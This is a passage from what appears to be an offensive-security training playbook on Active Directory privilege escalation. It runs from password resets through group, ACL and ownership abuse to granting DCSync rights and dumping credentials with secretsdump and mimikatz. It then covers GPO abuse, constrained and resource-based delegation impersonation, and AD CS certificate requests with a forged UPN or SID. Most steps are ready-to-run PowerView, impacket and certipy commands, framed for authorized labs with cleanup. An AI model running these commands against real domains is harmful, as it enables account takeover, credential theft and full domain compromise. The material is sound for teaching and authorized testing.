| Inconclusive | An unresolved extended-right GUID or stale group edge needs effective-right resolution first. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.15.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective.
6.3.11.15.4 Discover and verify prerequisites
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Get-DomainUser -Identity TARGET_USER
6.3.11.15.5 Why it works
Reset changes the credential; it does not reveal or preserve the unknown original password. Its value depends on the target account's actual rights and service policy.
6.3.11.15.6 Execute and choose variants
A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain
Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.
6.3.11.15.7 Worked example — hypothetical
Observation: the effective reset right applies to a service account. Test: confirm its utility and choose the authorized transition. Illustrative output: the newly set password authenticates as that account. Interpretation: re-enumerate its exact access.
6.3.11.15.8 Verify the result
Verify account identity and compatible authentication, then test relevant authorization.
6.3.11.15.9 Failure and fallback
A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.
6.3.11.15.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| Group-to-host access edges or a privileged user's possible session | Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient | §6.2.9.10 — Validate host access and volatile session candidates |
| A credential appears valid but the destination's usable access is unknown | Real source-to-service route, correct identity context and protocol-specific execution/logon rights | §6.4.4.5 — Match route, destination service and effective authorization |
6.3.11.16 Add a controlled identity to a group through effective membership rights
Choose when: A group member-attribute write or equivalent effective right · Result: A verified new group-based authorization capability
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.16.1 Purpose and result
A verified new group-based authorization capability.
6.3.11.16.2 Recognition clues
A group member-attribute write or equivalent effective right.
6.3.11.16.2.1 Find the clue from your starting access
Where to investigate: Select the useful group from mapping and inspect its current member list and exact member-attribute ACL.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify directory membership and actual service action from a refreshed context, then restore the original membership.
Failure/next check: An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.
Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Target group: ACCESS_GROUP
Effective permitted operation: write member
Controlled account: not currently a member
Recognize this detail: A membership-write operation can grant a defined group capability once new logon/token state reflects it.
Still missing before method selection: Verify effective right, actual group-derived authorization, nesting/token refresh and restoration.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The membership and a fresh context enable the intended service action: choose the group transition. |
| Ruled out in this context | The writable attribute is not member or the group grants no intended right: reject that chain. |
| Inconclusive | Directory modification without refreshed/accepted authorization leaves practical effect unresolved. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.16.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact target group, controlled principal, useful resulting right and a fresh token/logon context.
6.3.11.16.4 Discover and verify prerequisites
Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs
6.3.11.16.5 Why it works
Directory membership changes do not automatically refresh existing tokens or every application's group cache. Nested membership and service-specific authorization determine the resulting access.
6.3.11.16.6 Execute and choose variants
6.3.11.16.6.1 Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }
6.3.11.16.6.2 Built-in alternative
# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain
A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain
6.3.11.16.7 Worked example — hypothetical
Observation: the controlled account can join a group granting remote management. Test: change membership and create a fresh authorized logon. Illustrative output: WinRM access succeeds only in the new context. Interpretation: record the new right and remove the temporary membership afterward.
6.3.11.16.8 Verify the result
Verify directory membership and actual service action from a refreshed context, then restore the original membership.
6.3.11.16.9 Failure and fallback
An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.
6.3.11.16.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A WinRM listener and a candidate endpoint-authorized account | Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context | §6.4.4.12 — Use WinRM, WinRS or PowerShell remoting |
| Group-to-host access edges or a privileged user's possible session | Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient | §6.2.9.10 — Validate host access and volatile session candidates |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
6.3.11.17 Convert ownership or DACL control into a narrower useful right
Choose when: Effective WriteOwner or WriteDacl on a useful directory object · Result: A verified specific right enabling another identity transition
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.17.1 Purpose and result
A verified specific right enabling another identity transition.
6.3.11.17.2 Recognition clues
Effective WriteOwner or WriteDacl on a useful directory object.
6.3.11.17.2.1 Find the clue from your starting access
Where to investigate: Inspect resolved ownership/DACL rights on the exact useful object and separate the intermediate right from the final desired operation.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.
Failure/next check: Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Trustee: CONTROLLED_PRINCIPAL
Effective right candidate: WriteOwner or WriteDacl
Recognize this detail: Ownership/DACL control may enable a narrower useful ACE; it is an intermediate capability.
Still missing before method selection: Validate actual owner semantics, deny/protected-object behavior, ability to grant the next right and original-state restoration.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The intermediate operation and narrow effective right are established: follow the linked reset/group/SPN method. |
| Ruled out in this context | The ACE targets another object scope or is ineffective for this trustee: reject that route. |
| Inconclusive | WriteOwner text alone does not prove every later DACL modification succeeds. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.17.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner.
6.3.11.17.4 Discover and verify prerequisites
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
6.3.11.17.5 Why it works
Ownership and DACL control are intermediate capabilities. Grant the narrow operation required for the next method and validate that it applies; do not treat ACL text as completed account compromise.
6.3.11.17.6 Execute and choose variants
WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.
6.3.11.17.6.1 Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
6.3.11.17.6.2 Group-membership variant
# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose
6.3.11.17.6.3 Remove the ACE after the authorized objective
# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.
6.3.11.17.7 Worked example — hypothetical
Observation: the controlled trustee can change an object's owner. Test: validate whether the new ownership allows the required DACL update. Illustrative output: the narrow reset right is granted and effective. Interpretation: only then select the password transition and preserve cleanup state.
6.3.11.17.8 Verify the result
Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.
6.3.11.17.9 Failure and fallback
Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.
6.3.11.17.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A controlled trustee has the effective password-reset right on a useful account | Exact object/right and account state; the disruptive password change is justified within the assigned lab objective | §6.3.11.15 — Reset a target account password through a validated directory right |
| A group member-attribute write or equivalent effective right | Exact target group, controlled principal, useful resulting right and a fresh token/logon context | §6.3.11.16 — Add a controlled identity to a group through effective membership rights |
| A controlled principal can write a user's servicePrincipalName | Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup | §6.3.11.12 — Create a temporary SPN through an effective object right |
6.3.11.18 Use validated directory replication rights for bounded credential proof
Choose when: A principal has the relevant effective replication rights at the domain naming context · Result: Selected domain credential material retrieved through directory replication
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.18.1 Purpose and result
Selected domain credential material retrieved through directory replication.
6.3.11.18.2 Recognition clues
A principal has the relevant effective replication rights at the domain naming context.
6.3.11.18.2.1 Find the clue from your starting access
Where to investigate: Inspect the domain naming-context ACL and resolve replication-specific extended rights for the controlled identity/group.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify the replication source, account and material type; avoid equating a tool label with proven rights.
Failure/next check: RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.
Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Applicable domain ACEs:
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Trustee: CONTROLLED_PRINCIPAL
Recognize this detail: Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.
Still missing before method selection: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The required rights and route produce the bounded selected-account proof: choose DRS replication. |
| Ruled out in this context | The ACE applies only to a user/OU or lacks required replication rights: reject DCSync. |
| Inconclusive | Unresolved GUIDs or RPC filtering leave rights/access separately unknown. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.18.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient.
6.3.11.18.4 Discover and verify prerequisites
Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs
6.3.11.18.5 Why it works
DCSync uses the replication protocol instead of reading a local LSASS process or copying NTDS. Its authorization comes from domain replication rights, not an arbitrary local administrator token.
6.3.11.18.6 Execute and choose variants
Prerequisite: effective domain-root rights equivalent to
Replicating Directory ChangesplusReplicating Directory Changes All(and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.
Validate ACLs at the domain root:
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }
A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:
6.3.11.18.6.1 Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
6.3.11.18.6.2 Remove the delegated replication ACE after the authorized objective
# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.
Request one approved test account rather than dumping the directory:
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
'DOMAIN/USER:PASSWORD@DC_HOST'
Mimikatz equivalent from an authorized Windows context:
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER
Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.
6.3.11.18.7 Worked example — hypothetical
Observation: a controlled identity has the required domain replication rights. Test: verify effective rights and request only the selected proof account through the documented mechanism. Illustrative output: that account's credential material returns. Interpretation: classify and retain it privately.
6.3.11.18.8 Verify the result
Verify the replication source, account and material type; avoid equating a tool label with proven rights.
6.3.11.18.9 Failure and fallback
RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.
6.3.11.18.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An NT verifier from an appropriate credential source | Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights | §3.1.11 — Recover or reuse an NT password hash |
| A valid ticket/cache or a long-term key that can request a TGT | Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context | §6.3.11.13 — Inventory, convert and import tickets in the correct logon context |
| Access, privilege, identity or route changes, or a report will need reproduction | Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance | §8.1.8 — Capture state-transition, proof and exploit-adaptation evidence |
6.3.11.19 Conditional: trace GPO control to privileged policy consumption
Choose when: A useful linked GPO has a potentially controllable directory or SYSVOL component · Result: A verified policy-backed privileged action on an in-scope host
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.19.1 Purpose and result
A verified policy-backed privileged action on an in-scope host.
6.3.11.19.2 Recognition clues
A useful linked GPO has a potentially controllable directory or SYSVOL component.
6.3.11.19.2.1 Find the clue from your starting access
Where to investigate: Enumerate GPO/OU links, then inspect the relevant directory object and SYSVOL policy component's effective control and target applicability.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify actual policy application and resulting privileged effect; retain/restorable original policy state.
Failure/next check: Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.
Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
OU: TARGET_OU
gPLink: POLICY_GUID
Potential GPO control: inspect directory and file components
Recognize this detail: A linked policy supplies a potential privileged consumer only for hosts to which it actually applies.
Still missing before method selection: Check both needed policy components, effective ACEs, security/WMI filtering, target scope and refresh trigger.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The controlled policy is consumed on the intended host and effect verified: choose this conditional route. |
| Ruled out in this context | The target is excluded by policy filtering: reject that policy-to-host chain. |
| Inconclusive | A writable GPO object without linked/applicable file-consumer evidence remains incomplete. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.19.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger.
6.3.11.19.4 Discover and verify prerequisites
Get-DomainGPO
Get-DomainOU | Select-Object name,gplink
6.3.11.19.5 Why it works
GPO control spans directory objects, files, links and client-side processing. A writable GPO object alone does not prove that the intended host consumes the chosen setting.
6.3.11.19.6 Execute and choose variants
Identify GPOs and links:
Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }
For a candidate, prove:
- the controlled principal can edit both the directory object and relevant SYSVOL policy files;
- the GPO is linked to the OU containing the intended test host/user;
- security filtering and WMI filters include that subject;
- the configured preference/task/script runs in the expected context; and
- policy refresh or another predictable trigger will occur.
SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:
SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force
Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.
6.3.11.19.7 Worked example — hypothetical
Observation: a group controls a GPO linked to an OU. Test: validate both policy components and actual target applicability. Illustrative output: security filtering excludes the target. Interpretation: the proposed policy-to-host chain is not enabled.
6.3.11.19.8 Verify the result
Verify actual policy application and resulting privileged effect; retain/restorable original policy state.
6.3.11.19.9 Failure and fallback
Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.
6.3.11.19.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right | Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation | §6.2.9.9 — Validate effective directory-object control |
| A task/startup action consumes a writable command, file, directory or registry value | Effective object control, a higher principal and a usable scheduled/logon/manual trigger | §5.2.12 — Control scheduled tasks, startup files or autostart consumers |
| Several hosts, identities, routes or competing hypotheses need coordination | Explicit scope/objective and a record of observations, unknowns and available capabilities | §8.1.5 — Maintain state and select the next evidence-producing test |
6.3.11.20 Conditional: use a validated delegation or RBCD relationship
Choose when: Delegation configuration or computer-object write suggests a Kerberos impersonation path · Result: A service-scoped impersonation ticket accepted by the intended destination
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.20.1 Purpose and result
A service-scoped impersonation ticket accepted by the intended destination.
6.3.11.20.2 Recognition clues
Delegation configuration or computer-object write suggests a Kerberos impersonation path.
6.3.11.20.2.1 Find the clue from your starting access
Where to investigate: Inspect directory delegation flags/attributes and map the service principals before considering any impersonation request.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify the exact service ticket and successful destination action, with original delegation state preserved.
Failure/next check: Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Computer: TARGET_HOST
Delegation-related flag: present
Target service and controlled key: not yet established
Recognize this detail: A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.
Still missing before method selection: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The complete matching relationship yields an accepted service ticket: use that service-scoped conditional path. |
| Ruled out in this context | The required service identity/key or allowed target is missing: reject that chain. |
| Inconclusive | A generic delegation label without actual attributes/keys leaves impersonation unproved. |
If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.
6.3.11.20.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow.
6.3.11.20.4 Discover and verify prerequisites
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
6.3.11.20.5 Why it works
Unconstrained, constrained and resource-based delegation use different trust directions and prerequisites. Computer-object write is an intermediate right; it does not by itself provide a valid S4U ticket chain.
6.3.11.20.6 Execute and choose variants
Enumerate before attempting any ticket operation:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP
Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.
6.3.11.20.6.1.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation
Prerequisite: effective write control over the target computer's
msDS-AllowedToActOnBehalfOfOtherIdentityplus control of a principal with an SPN (often a lab computer account).
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'
Cleanup after the lab objective:
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-delete -dc-ip DC_IP
Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.
6.3.11.20.7 Worked example — hypothetical
Observation: a writable computer attribute suggests RBCD. Test: verify a controlled service principal/key and target delegation policy. Illustrative output: a required principal or KDC condition is missing. Interpretation: retain the object right but do not claim impersonation.
6.3.11.20.8 Verify the result
Verify the exact service ticket and successful destination action, with original delegation state preserved.
6.3.11.20.9 Failure and fallback
Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.
6.3.11.20.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A valid ticket/cache or a long-term key that can request a TGT | Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context | §6.3.11.13 — Inventory, convert and import tickets in the correct logon context |
| A password, actual NT hash, AES/NT long-term key or ticket is available | Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization | §6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication |
| An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right | Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation | §6.2.9.9 — Validate effective directory-object control |
6.3.11.21 Conditional: validate an AD CS enrollment-to-authentication path
Choose when: A CA/template configuration exposes a plausible certificate identity transition · Result: An issued certificate/private-key capability that authenticates as the intended identity
Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Operational procedure | Quick sheet
6.3.11.21.1 Purpose and result
An issued certificate/private-key capability that authenticates as the intended identity.
6.3.11.21.2 Recognition clues
A CA/template configuration exposes a plausible certificate identity transition.
6.3.11.21.2.1 Find the clue from your starting access
Where to investigate: Enumerate the CA and enabled templates with the known directory identity, then read rights and settings rather than acting on an ESC label.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.
Failure/next check: Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.
certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Template: TEMPLATE_NAME
Client Authentication: enabled
Subject control: candidate setting
Enrollment rights: GROUP
Approval/identity mapping: inspect
Recognize this detail: The conjunction of purpose, subject control and effective enrollment rights is a candidate; issuance and identity mapping are separate gates.
Still missing before method selection: Check exact template/CA rights/settings, approval/signatures, required key, current mapping and authenticatable identity.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Issuance and intended account authentication are verified: use the certificate capability. |
| Ruled out in this context | Approval, denied enrollment or hardened mapping prevents the proposed transition: reject that route. |
| Inconclusive | An ESC scanner label without the full effective configuration remains unconfirmed. |
If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.
6.3.11.21.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path.
6.3.11.21.4 Discover and verify prerequisites
certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled
6.3.11.21.5 Why it works
A scanner's ESC label summarizes conditions; it does not guarantee issuance or modern account mapping. Template write is an intermediate modification requiring preservation and validation of all necessary properties.
6.3.11.21.6 Execute and choose variants
Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.
Package names vary:
command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-enabled -vulnerable -stdout
Review:
- CA name and host;
- template name and whether it is enabled/published;
- who can enroll;
- client-authentication EKUs/purpose;
- subject/SAN supply controls;
- manager approval/signature requirements;
- template owner and modification rights;
- web enrollment/relay-related configuration where relevant.
An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.
Generic request after validating a specific template:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE
An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE \
-upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP
Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.
Before any authorized template change, save configuration:
certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-template TEMPLATE -save-configuration template-backup.json
Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.
6.3.11.21.7 Worked example — hypothetical
Observation: a template is labelled vulnerable. Test: inspect enrollment rights, approval, subject control and mapping requirements. Illustrative output: manager approval blocks issuance. Interpretation: the scanner candidate is not an immediately usable identity transition.
6.3.11.21.8 Verify the result
Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.
6.3.11.21.9 Failure and fallback
Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.
6.3.11.21.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A valid ticket/cache or a long-term key that can request a TGT | Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context | §6.3.11.13 — Inventory, convert and import tickets in the correct logon context |
| An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right | Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation | §6.2.9.9 — Validate effective directory-object control |
6.3.11.22 Conditional: understand a realm-wide TGT forgery from KRBTGT material
Choose when: An already compromised domain exposes a KRBTGT key and domain SID · Result: A realm-wide ticket capability whose acceptance and service authorization still require verification
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.22.1 Purpose and result
A realm-wide ticket capability whose acceptance and service authorization still require verification.
6.3.11.22.2 Recognition clues
